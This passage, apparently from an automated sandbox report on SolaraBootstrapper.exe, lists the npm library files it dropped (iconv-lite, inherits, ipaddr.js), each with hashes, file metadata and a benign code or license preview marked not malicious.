SSDEEP:	24:rKb78DifMioZMYxTChDzC98DpFciYKl6n6ES1L8JaxbtaXuAXGEu984zEb2YLBG9:wfMrreh3CIxdl66XraXN6Y1GHt/dii
MD5:	EF78BD5DAB20DAF8C2BB6C34E5B66BFF
SHA1:	918EECCA2F76DB2AA3FE0BF8634816584BF31D78
SHA-256:	7E6E8C23D37D5819481909E4D972FBF0F35E120DDA3498DD3A0CD6B5E4932FE6
SHA-512:	3B8E3C567C5A6B538B9CFC57C199E6900D9CFDC543CFCDFCF0CD43C93E2D031CB7132067F936136E35862ADECA7DB3B2AF926F0ACD0433F22B0DCC6F90FA762F
Malicious:	false
Preview:	[.["a140",".",62],.["a180",".",32],.["a240",".",62],.["a280",".",32],.["a2ab",".",5],.["a2e3",".."],.["a2ef",".."],.["a2fd",".."],.["a340",".",62],.["a380",".",31,"."],.["a440",".",62],.["a480",".",32],.["a4f4",".",10],.["a540",".",62],.["a580",".",32],.["a5f7",".",7],.["a640",".",62],.["a680",".",32],.["a6b9",".",7],.["a6d9",".",6],.["a6ec",".."],.["a6f3","."],.["a6f6",".",8],.["a740",".",62],.["a780",".",32],.["a7c2",".",14],.["a7f2",".",12],.["a896",".",10],.["a8bc","."],.["a8bf","."],.["a8c1","...."],.["a8ea",".",20],.["a958","."],.["a95b","."],.["a95d","..."],.["a989","..",11],.["a997",".",12],.["a9f0",".",14],.["aaa1",".",93],.["aba1",".",93],.["aca1",".",93],.["ada1",".",93],.["aea1",".",93],.["afa1",".",93],.["d7fa",".",4],.["f8a1",".",93],.["f9a1",".",93],.["faa1",".",93],.["fba1",".",93],.["fca1",".",93],.["fda1",".",93],.["fe50","........

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\tables\shiftjis.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	23782
Entropy (8bit):	6.017531553224289
Encrypted:	false
SSDEEP:	384:OcKDbyVNOvQLWFycfjdVjI6VN2kW1cOxdYNjL7UujgTDE/gTD8:dKDbGMFFbZhb/IcOxgjPUPVQ
MD5:	6D542FFDF3409FD2E8BD01247777B6F7
SHA1:	E02D26E47A7B295222C3CA70015024CA163E7381
SHA-256:	02B0B120F697C48133E8B547E8DC594BC5B9F1C1799B50C2C5FF917298548558
SHA-512:	E02449D3561A4D3856C981FCC350D0836BA3E55C82DD96585E055F6E16DCFD2C1D3ECE44CF473F55924301A1143F66DD372793EDD13BA30254B2944657A3841C
Malicious:	false
Preview:	[.["0","\u0000",128],.["a1",".",62],.["8140","..................................................",9,"...."],.["8180","............................................."],.["81b8","........"],.["81c8","......."],.["81da","..............."],.["81f0","........"],.["81fc","."],.["824f",".",9],.["8260",".",25],.["8281",".",25],.["829f",".",82],.["8340",".",62],.["8380",".",22],.["839f",".",16,".",6],.["83bf",".",16,".",6],.["8440",".",5,"..",25],.["8470",".",5,"..",7],.["8480",".",17],.["849f","................................"],.["8740",".",19,".",9],.["875f","......................."],.["877e"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\utf16.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5011
Entropy (8bit):	4.8640960255878305
Encrypted:	false
SSDEEP:	96:x+reLQ49gZBccQSYQ51s1oZQlp0cERXW8dTJn8:zLQ49g5YQ5WoZQlSdRXnn8
MD5:	7AD12158AF65189B85796DE64923F031
SHA1:	D3C63CE106659F00D6F2DBB40BA4DC853FBC8703
SHA-256:	BAF708BE438EDF0FEF70A3E34619C6BE94CD53D963ACB9B2542419D5FC3BB8C8
SHA-512:	1E1B9E3FC3AA08BF48F14DE442706E14A0B0CEBE0B55575E3796BA3B7CE717D8DF7DDE1D3FF3F0F3C92997C438FB68E6A43BC15A60541AF659EA2324414D26EE
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// Note: UTF16-LE (or UCS2) codec is Node.js native. See encodings/internal.js..// == UTF16-BE codec. ==========================================================..exports.utf16be = Utf16BECodec;.function Utf16BECodec() {.}..Utf16BECodec.prototype.encoder = Utf16BEEncoder;.Utf16BECodec.prototype.decoder = Utf16BEDecoder;.Utf16BECodec.prototype.bomAware = true;...// -- Encoding..function Utf16BEEncoder() {.}..Utf16BEEncoder.prototype.write = function(str) {. var buf = Buffer.from(str, 'ucs2');. for (var i = 0; i < buf.length; i += 2) {. var tmp = buf[i]; buf[i] = buf[i+1]; buf[i+1] = tmp;. }. return buf;.}..Utf16BEEncoder.prototype.end = function() {.}...// -- Decoding..function Utf16BEDecoder() {. this.overflowByte = -1;.}..Utf16BEDecoder.prototype.write = function(buf) {. if (buf.length == 0). return '';.. var buf2 = Buffer.alloc(buf.length + 1),. i = 0, j = 0;.. if (this.overflowByt

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\encodings\utf7.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9215
Entropy (8bit):	4.79983678990615
Encrypted:	false
SSDEEP:	192:kh8t8oEywQ+OpVwnHLj9ZiK/Cyb6Mu0qB8k5yXwe+a:Ae8wHCnHLj69QqB7eT
MD5:	CF6746C76930FE21A716EF03D700B208
SHA1:	5DACC76C685AEDA5C4890D5F8D8E7AABDD852161
SHA-256:	C814AD268D19265CCAFC9F7BBA2E8DFCDD2AFDEA62698BB24B7284B3F2EA18A0
SHA-512:	A65BFF8CDF7A8EEEE08F4883FC81138019E3D500A3031C869491C13EB54E218881E8EAD2417DA3178743B367B2938ED7AE13803E6CD18011D7A339ED81DA66D3
Malicious:	false
Preview:	"use strict";.var Buffer = require("safer-buffer").Buffer;..// UTF-7 codec, according to https://tools.ietf.org/html/rfc2152.// See also below a UTF-7-IMAP codec, according to http://tools.ietf.org/html/rfc3501#section-5.1.3..exports.utf7 = Utf7Codec;.exports.unicode11utf7 = 'utf7'; // Alias UNICODE-1-1-UTF-7.function Utf7Codec(codecOptions, iconv) {. this.iconv = iconv;.};..Utf7Codec.prototype.encoder = Utf7Encoder;.Utf7Codec.prototype.decoder = Utf7Decoder;.Utf7Codec.prototype.bomAware = true;...// -- Encoding..var nonDirectChars = /[^A-Za-z0-9',-\.\/:\? \n\r\t]+/g;..function Utf7Encoder(options, codec) {. this.iconv = codec.iconv;.}..Utf7Encoder.prototype.write = function(str) {. // Naive implementation.. // Non-direct chars are encoded as "+<base64>-"; single "+" char is encoded as "+-".. return Buffer.from(str.replace(nonDirectChars, function(chunk) {. return "+" + (chunk === '+' ? '' : . this.iconv.encode(chunk, 'utf16-be').toString('base64').

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\bom-handling.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	4.6422103165542135
Encrypted:	false
SSDEEP:	24:vV55erOVEJPASyl6ZSQtNOovWmzkALvNF8lG8:vVberOVEdASyl6ZVtNOKWmzkAZ2lG8
MD5:	7B3D4519F05BF0CC8D70A4D950C72C55
SHA1:	5C6518CE3ACC35C3E1DA961BC02C110E08F81DB2
SHA-256:	C230D25D8E7FBB50960C634B636B71327C409E9A77E67FE9446B566BDCEA362D
SHA-512:	BD62DF0406AF2F67D45FC418FAEC70D6D63F58112704CFDF9A28BC633696043554A09048E69ABBB4E3DDE653D85F9D64E9D0D5C0117C7D9D404914DA5323FC07
Malicious:	false
Preview:	"use strict";..var BOMChar = '\uFEFF';..exports.PrependBOM = PrependBOMWrapper.function PrependBOMWrapper(encoder, options) {. this.encoder = encoder;. this.addBOM = true;.}..PrependBOMWrapper.prototype.write = function(str) {. if (this.addBOM) {. str = BOMChar + str;. this.addBOM = false;. }.. return this.encoder.write(str);.}..PrependBOMWrapper.prototype.end = function() {. return this.encoder.end();.}...//------------------------------------------------------------------------------..exports.StripBOM = StripBOMWrapper;.function StripBOMWrapper(decoder, options) {. this.decoder = decoder;. this.pass = false;. this.options = options \|\| {};.}..StripBOMWrapper.prototype.write = function(buf) {. var res = this.decoder.write(buf);. if (this.pass \|\| !res). return res;.. if (res[0] === BOMChar) {. res = res.slice(1);. if (typeof this.options.stripBOM === 'function'). this.options.stripBOM();. }.. this.pa

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\extend-node.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8701
Entropy (8bit):	4.405358507494983
Encrypted:	false
SSDEEP:	192:IbXxpx/xnhCuSCjPCdO/grhCu+uFopJpt:IrxpLnRvPCdLrR+TpN
MD5:	24AC97737522B61C26B830D350CFCAEA
SHA1:	850643AA226441C0D0D9913EA5362BB85543C26A
SHA-256:	7B86AEBD7175D940C50F60EAC1981490962855D9723BF971981DDD703BA6AF43
SHA-512:	237809B8FD38F594E583492E98D291FFD6EE44B5C94628615420B5D9DAF76F03B1619DDF77AC306FE7323530E2FA6346194866E7E165EAE90AE5075B2CAEB823
Malicious:	false
Preview:	"use strict";.var Buffer = require("buffer").Buffer;.// Note: not polyfilled with safer-buffer on a purpose, as overrides Buffer..// == Extend Node primitives to use iconv-lite =================================..module.exports = function (iconv) {. var original = undefined; // Place to keep original methods... // Node authors rewrote Buffer internals to make it compatible with. // Uint8Array and we cannot patch key functions since then.. // Note: this does use older Buffer API on a purpose. iconv.supportsNodeEncodingsExtension = !(Buffer.from \|\| new Buffer(0) instanceof Uint8Array);.. iconv.extendNodeEncodings = function extendNodeEncodings() {. if (original) return;. original = {};.. if (!iconv.supportsNodeEncodingsExtension) {. console.error("ACTION NEEDED: require('iconv-lite').extendNodeEncodings() is not supported in your version of Node");. console.error("See more info at https://github.com/ashtuchkin/iconv-lite/wiki/No

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\index.d.ts

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	982
Entropy (8bit):	4.590684690057057
Encrypted:	false
SSDEEP:	12:U8UBFNMoa1zuuLpM3QXD2m6T2VaAWA6Q2F:VUDuoa1KkpM3QXSmCAz2F
MD5:	083C701AD23D900AB019A2E094158898
SHA1:	05C03C5E8EDDF1CDE570754D84084C33912BC40A
SHA-256:	73AAEE6A7A9CF41FB2C67158F4BC218F9DA27545EA55648B2C10CA2A9600AE15
SHA-512:	52EEB6DF35085A8EEA9374D1237B5CAD5C2D8EC1370B967E1A7A11B9AFD3C503AE01473E90BC5B5D70594E16096CF1B5CF1C21D556551AB2AC9FF416284C2E34
Malicious:	false
Preview:	/---------------------------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Licensed under the MIT License.. * REQUIREMENT: This definition is dependent on the @types/node definition.. * Install with `npm install @types/node --save-dev`. --------------------------------------------------------------------------------------------/..declare module 'iconv-lite' {..export function decode(buffer: Buffer, encoding: string, options?: Options): string;...export function encode(content: string, encoding: string, options?: Options): Buffer;...export function encodingExists(encoding: string): boolean;...export function decodeStream(encoding: string, options?: Options): NodeJS.ReadWriteStream;...export function encodeStream(encoding: string, options?: Options): NodeJS.ReadWriteStream;.}..export interface Options {. stripBOM?: boolean;. addBOM?: boolean;. defaultEncoding?: string;.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\index.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	5123
Entropy (8bit):	4.657971397606252
Encrypted:	false
SSDEEP:	96:wsWY5niEC/jgNGAPtbCnz1lrDVOlraCr3q14lYU5cO5FnTncbvf6yYi:QEiEajiLCzLrDCraMaal95jFngb3tYi
MD5:	C1DA5B53FA60006BC973DC785BED2CA6
SHA1:	68CCC5B53B1B7AA66DAE594AD3150B0F66D158A5
SHA-256:	77D20E2FD5BCD9E324FB6CFDB909CD06FDAF6A91769ADFFCF4D7C4C066CCE4C3
SHA-512:	8D8AC4E9119BBE1F9A8475EDBBFFBCB260D17EAC94BD5C0AB321D1012FCD0762786A449259355F25A10905BE18051CA494F120D0E826005BA33468B05CFC54F1
Malicious:	false
Preview:	"use strict";..// Some environments don't have global Buffer (e.g. React Native)..// Solution would be installing npm modules "buffer" and "stream" explicitly..var Buffer = require("safer-buffer").Buffer;..var bomHandling = require("./bom-handling"),. iconv = module.exports;..// All codecs and aliases are kept here, keyed by encoding name/alias..// They are lazy loaded in `iconv.getCodec` from `encodings/index.js`..iconv.encodings = null;..// Characters emitted in case of error..iconv.defaultCharUnicode = '.';.iconv.defaultCharSingleByte = '?';..// Public API..iconv.encode = function encode(str, encoding, options) {. str = "" + (str \|\| ""); // Ensure string... var encoder = iconv.getEncoder(encoding, options);.. var res = encoder.write(str);. var trail = encoder.end();. . return (trail && trail.length > 0) ? Buffer.concat([res, trail]) : res;.}..iconv.decode = function decode(buf, encoding, options) {. if (typeof buf === 'string') {. if (!iconv.skipDeco

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\lib\streams.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3387
Entropy (8bit):	4.65128182240928
Encrypted:	false
SSDEEP:	48:HJtP7Zyw/iRzB3FHu+KGXB0kAli59qFDor1Gxr1EXCXkv:HJBZyw/kfO7GXB0kAlAg2wEXCXkv
MD5:	8628E41438801C5BFDABF3BE9B1FF548
SHA1:	3982C3E4C6ABE5EC4064A8C5196395067D0C504B
SHA-256:	25A423EAF41F8DC6BC40CB28189A24E2D63B990ED72C824940BED55D0264EA6D
SHA-512:	6BBB6C654B75A23E73343F2CBC8EB84AACB09A98E4E49A875689E75040333EDAAEBDC8649DA8399BC89532150DC1AA30F5F0FB07C1523C94A6CBA3817F33A88D
Malicious:	false
Preview:	"use strict";..var Buffer = require("buffer").Buffer,. Transform = require("stream").Transform;...// == Exports ==================================================================.module.exports = function(iconv) {. . // Additional Public API.. iconv.encodeStream = function encodeStream(encoding, options) {. return new IconvLiteEncoderStream(iconv.getEncoder(encoding, options), options);. }.. iconv.decodeStream = function decodeStream(encoding, options) {. return new IconvLiteDecoderStream(iconv.getDecoder(encoding, options), options);. }.. iconv.supportsStreams = true;... // Not published yet.. iconv.IconvLiteEncoderStream = IconvLiteEncoderStream;. iconv.IconvLiteDecoderStream = IconvLiteDecoderStream;. iconv._collect = IconvLiteDecoderStream.prototype.collect;.};...// == Encoder stream =======================================================.function IconvLiteEncoderStream(conv, options) {. this.conv = conv;. options = options \|\|

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\iconv-lite\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1227
Entropy (8bit):	4.440470725760903
Encrypted:	false
SSDEEP:	24:Z31+2MQ9bjb9k2rPA9/0KcdUoLWUailRAlK:ZF+2MWhRu0KoLRRp
MD5:	A8B97F25878DDC5419A9AFE173037035
SHA1:	A1E76EDB6428E44345ED3851FF7AF5D850434CF5
SHA-256:	6F7C96C32F7D6E0498BE71B0CCEDAF298BB00AB4DD40C1D63655EC53477DB384
SHA-512:	ADEB2C6AA4710ED983471A3C4485F50BC5E0DA9ED28331E0D768FB23C3F2239A15C04CFAB848CC00A56786425CEE50CAE18A76FB2DB3EF27A34797782A131B4C
Malicious:	false
Preview:	{. "name": "iconv-lite",. "description": "Convert character encodings in pure javascript.",. "version": "0.4.24",. "license": "MIT",. "keywords": [. "iconv",. "convert",. "charset",. "icu". ],. "author": "Alexander Shtuchkin <ashtuchkin@gmail.com>",. "main": "./lib/index.js",. "typings": "./lib/index.d.ts",. "homepage": "https://github.com/ashtuchkin/iconv-lite",. "bugs": "https://github.com/ashtuchkin/iconv-lite/issues",. "repository": {. "type": "git",. "url": "git://github.com/ashtuchkin/iconv-lite.git". },. "engines": {. "node": ">=0.10.0". },. "scripts": {. "coverage": "istanbul cover _mocha -- --grep .",. "coverage-open": "open coverage/lcov-report/index.html",. "test": "mocha --reporter spec --grep .". },. "browser": {. "./lib/extend-node": false,. "./lib/streams": false. },. "devDependencies": {. "mocha": "^3.1.0",. "reque

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	749
Entropy (8bit):	4.988275613873547
Encrypted:	false
SSDEEP:	12:9FM9ZFICS4dCPXeTbbtLgmq6KX9KsA8ZXs1HUtA3+djz2AvPNj2M3khFLCgK2P/d:9SZFCICCtEmq6s9imgyc2jZ63ew/ea
MD5:	5B2EF2247AF6D355AE9D9F988092D470
SHA1:	3B0E8D58A362B1787EF3504FBA4F593B22F3CEE4
SHA-256:	5FFE28E7ADE7D8F10D85D5337A73FD793DAC5C462FB9A28FBF8C5046C7FBCA3B
SHA-512:	6159FE6970CDB729DCC363BFE834924A6CDED6D4AA585F965E6D58B65C54D5E198A69B3C7D4E733964A3C1542A45808016D816CD89AC3919671C601BD2ED9785
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH.REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND.FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM.LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR.OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR.PERFORMANCE OF THIS SOFTWARE...

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1625
Entropy (8bit):	4.668804266106524
Encrypted:	false
SSDEEP:	48:f0fSSxMiA174YSR5Z3Sj5IpaRu8wDJHOqQlc:fSSSjAPepn1Zj
MD5:	DE7EAB94959B05C9765CAD499AB092DB
SHA1:	F2F8D26F1CF5FB1E3A68AA225221B064F999FEFB
SHA-256:	B33C8BE1CA837D9E4C9B0E04A550FEACBC101556164D3CDBB875AED6CCBB8A29
SHA-512:	1DBA8A8AAC506A71DA9869349D64AD1E83362690E5B11A6B0EE73E6A2019A7DBAED452654029CE641254D1BDE3B3D3E4BBB0FD31360846B8CFD01DCD25793597
Malicious:	false
Preview:	Browser-friendly inheritance fully compatible with standard node.js.[inherits](http://nodejs.org/api/util.html#util_util_inherits_constructor_superconstructor)...This package exports standard `inherits` from node.js `util` module in.node environment, but also provides alternative browser-friendly.implementation through [browser.field](https://gist.github.com/shtylman/4339901). Alternative.implementation is a literal copy of standard one located in standalone.module to avoid requiring of `util`. It also has a shim for old.browsers with no `Object.create` support...While keeping you sure you are using standard `inherits`.implementation in node.js environment, it allows bundlers such as.[browserify](https://github.com/substack/node-browserify) to not.include full `util` package to your client code if all you need is.just `inherits` function. It worth, because browser shim for `util`.package is large and `inherits` is often the single function you need.from it...It's recommended to use thi

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\inherits.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.647106694152876
Encrypted:	false
SSDEEP:	6:jvQfk0dRFcMz+NPZqXAXEd/BBNCl0dRFcIKBBB5g:jwBRFcFxZXERBBIqRFc3BBB5g
MD5:	9CED637189714B8D21D34AEB50B42AE8
SHA1:	222DA288A07D8F65B2AED9B88815948CFE0B42D9
SHA-256:	BB380F32BEF5FEB18678F0F45F88073FED5D7A0069A309132CB2080CD553D5C7
SHA-512:	59925A20877C9193308E6766B96C11B6D910B45583C73498B8761B091231BCE2F4F7D95EB7D2B2E83D6B8A595689B80878C27E7C1E87347BA03F6CCB0C945CD1
Malicious:	false
Preview:	try {. var util = require('util');. /* istanbul ignore next /. if (typeof util.inherits !== 'function') throw '';. module.exports = util.inherits;.} catch (e) {. / istanbul ignore next */. module.exports = require('./inherits_browser.js');.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\inherits_browser.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.269212982212497
Encrypted:	false
SSDEEP:	12:FwaHkcBI0mcMpdgfIFDIxpuFqR/urhzBI0mchBr4wPog:mykcBIe0dUcyKqR/8hzBIeLr4c
MD5:	184872B18B759A37285BEE13CD1CD0E4
SHA1:	70FCF71F449139ECBF7A5D6C78ECE069BBDF4DC3
SHA-256:	AD322A7B1DEC60F3D2EBDA2091816469EFB55B567D241CF3CF0FA4C5A4AFE500
SHA-512:	0B6F853387D1AD11BC77997F278F2503CE921A5F7049978BF60B63A1E9A772238EBEF67808C2132F35D6A198CB6432EB43B15769FF420B8DB64959CD0A9E50CF
Malicious:	false
Preview:	if (typeof Object.create === 'function') {. // implementation from standard node.js 'util' module. module.exports = function inherits(ctor, superCtor) {. if (superCtor) {. ctor.super_ = superCtor. ctor.prototype = Object.create(superCtor.prototype, {. constructor: {. value: ctor,. enumerable: false,. writable: true,. configurable: true. }. }). }. };.} else {. // old school shim for old browsers. module.exports = function inherits(ctor, superCtor) {. if (superCtor) {. ctor.super_ = superCtor. var TempCtor = function () {}. TempCtor.prototype = superCtor.prototype. ctor.prototype = new TempCtor(). ctor.prototype.constructor = ctor. }. }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\inherits\package.json

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	581
Entropy (8bit):	4.517825583313142
Encrypted:	false
SSDEEP:	12:d+S0Gi1e0chjDFvFC5aUXqF02s4Vl0UJk/paa:dd0v1QJDFvM5aw3/US
MD5:	F73908DAB55D4259F3ED052CE9FB2FBB
SHA1:	62B11DD736A0047FBD8D2DC0406D2118A549A359
SHA-256:	BE645800BC94FD8DE29C8AE91690549B316CC437100108AEEA7B2F347693CC80
SHA-512:	470B2FFBCBCAFB423D46C724D046B6471A7847F6C8A97158F4C22D26F429655BB40F3962026F7935741DDA6ED5E6449FB942537F610DF13D20892C5B6BB14A9D
Malicious:	false
Preview:	{. "name": "inherits",. "description": "Browser-friendly inheritance fully compatible with standard node.js inherits()",. "version": "2.0.4",. "keywords": [. "inheritance",. "class",. "klass",. "oop",. "object-oriented",. "inherits",. "browser",. "browserify". ],. "main": "./inherits.js",. "browser": "./inherits_browser.js",. "repository": "git://github.com/isaacs/inherits",. "license": "ISC",. "scripts": {. "test": "tap". },. "devDependencies": {. "tap": "^14.2.4". },. "files": [. "inherits.js",. "inherits_browser.js". ].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\LICENSE

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	5.1673488390303035
Encrypted:	false
SSDEEP:	24:osvh3rmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:ospaJHlxE35QHOs5exm3ogF5n
MD5:	88F60A4B6E44CB849B5D907A7664C0EF
SHA1:	8C56B998D6016165B0A399D2736BE98EF2AD1C62
SHA-256:	62568A2D1337B77171ECCA9DB10579163446DE1BA6151678E81F06CDC199971B
SHA-512:	BED03823BF97F0F56FCCD3092938367F974BB4EBC3F3828EC6C1C430F7F7D374E7B7F5C49F633320D1565102C75CCDF280877B6B769CF608BA5BB7A79D04FEC9
Malicious:	false
Preview:	Copyright (C) 2011-2017 whitequark <whitequark@whitequark.org>..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.O

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\README.md

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	Unicode text, UTF-8 text, with very long lines (314)
Category:	dropped
Size (bytes):	8309
Entropy (8bit):	5.118444636087176
Encrypted:	false
SSDEEP:	192:VpD/igBoQXO84nmgyFnc5qYldSmHSSXzi:VpLDXkhYc5qYl8RSDi
MD5:	6782F9A6ACCF829084C303895A2C26A9
SHA1:	E1553F0D26581F4312008A49B40EF8D0B0E4697E
SHA-256:	025B1282FBBC2F7F270E08B29414B7BBDE469284564477F38B3519446AA16220
SHA-512:	5F882221434E7DE8140DC02ECB9A26E3D4967D8A38355D3E6BCDE725EE301133AC4C977180196D4F7741D8D51C303EF004E22B5AEE163A9AC3C3284F452529E4
Malicious:	false
Preview:	# ipaddr.js . an IPv6 and IPv4 address manipulation library [![Build Status](https://travis-ci.org/whitequark/ipaddr.js.svg)](https://travis-ci.org/whitequark/ipaddr.js)..ipaddr.js is a small (1.9K minified and gzipped) library for manipulating.IP addresses in JavaScript environments. It runs on both CommonJS runtimes.(e.g. [nodejs]) and in a web browser...ipaddr.js allows you to verify and parse string representation of an IP.address, match it against a CIDR range or range list, determine if it falls.into some reserved ranges (examples include loopback and private ranges),.and convert between IPv4 and IPv4-mapped IPv6 addresses...[nodejs]: http://nodejs.org..## Installation..`npm install ipaddr.js`..or..`bower install ipaddr.js`..## API..ipaddr.js defines one object in the global scope: `ipaddr`. In CommonJS,.it is exported from the module:..```js.var ipaddr = require('ipaddr.js');.```..The API consists of several global methods and two classes: ipaddr.IPv6 and ipaddr.IPv4...### Glo

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\ipaddr.min.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (9738), with no line terminators
Category:	dropped
Size (bytes):	9738
Entropy (8bit):	5.376548087766361
Encrypted:	false
SSDEEP:	192:sr++pWF8arWiasLV17s5W/KG1xZQ19asIBdh9yNyuEuSyj+CShTJ9W:srppWF8arasLV17s5W/ZxZQ10sIBdh9k
MD5:	25CBB7A40252E3E2004437B72E1EAEE5
SHA1:	9ABB27F31A6AF75D8FEDC6B97A0FFADC87238CE6
SHA-256:	AB95215C182A1BEA49617080DC12E52E3E80521894C37CE0478B69326C151440
SHA-512:	3E309D7B0D16AB26DD9D68628B57E5D77A462AD044644B2FB3B63BF095BB68D5851D97A6336E7BC31550C64B67577BBCA94EA2FEA70EA9654F9DE50BFA80AC5B
Malicious:	false
Preview:	(function(){var r,t,n,e,i,o,a,s;t={},s=this,"undefined"!=typeof module&&null!==module&&module.exports?module.exports=t:s.ipaddr=t,a=function(r,t,n,e){var i,o;if(r.length!==t.length)throw new Error("ipaddr: cannot match CIDR for objects with different lengths");for(i=0;e>0;){if((o=n-e)<0&&(o=0),r[i]>>o!=t[i]>>o)return!1;e-=n,i+=1}return!0},t.subnetMatch=function(r,t,n){var e,i,o,a,s;null==n&&(n="unicast");for(o in t)for(!(a=t[o])[0]\|\|a[0]instanceof Array\|\|(a=[a]),e=0,i=a.length;e<i;e++)if(s=a[e],r.kind()===s[0].kind()&&r.match.apply(r,s))return o;return n},t.IPv4=function(){function r(r){var t,n,e;if(4!==r.length)throw new Error("ipaddr: ipv4 octet count should be 4");for(t=0,n=r.length;t<n;t++)if(!(0<=(e=r[t])&&e<=255))throw new Error("ipaddr: ipv4 octet should fit in 8 bits");this.octets=r}return r.prototype.kind=function(){return"ipv4"},r.prototype.toString=function(){return this.octets.join(".")},r.prototype.toNormalizedString=function(){return this.toString()},r.prototype.toByteArr

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\ipaddr.js\lib\ipaddr.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19333
Entropy (8bit):	4.760426115216821
Encrypted:	false
SSDEEP:	384:XOIhcv8um6YjHQ70ppf303ybmQuUuMZOZledj4L4:tWvbm62xDv03ybmQuy2ledj4L4
MD5:	FAEA7806284886C6C63A41C247008FBD
SHA1:	70EF5F22C1EAD35BD5221F3AB47EBD6820EED342
SHA-256:	D82A21A6872925DFE73E9AA10E9EB47BABA398987560E36DB107F44D92F069B0
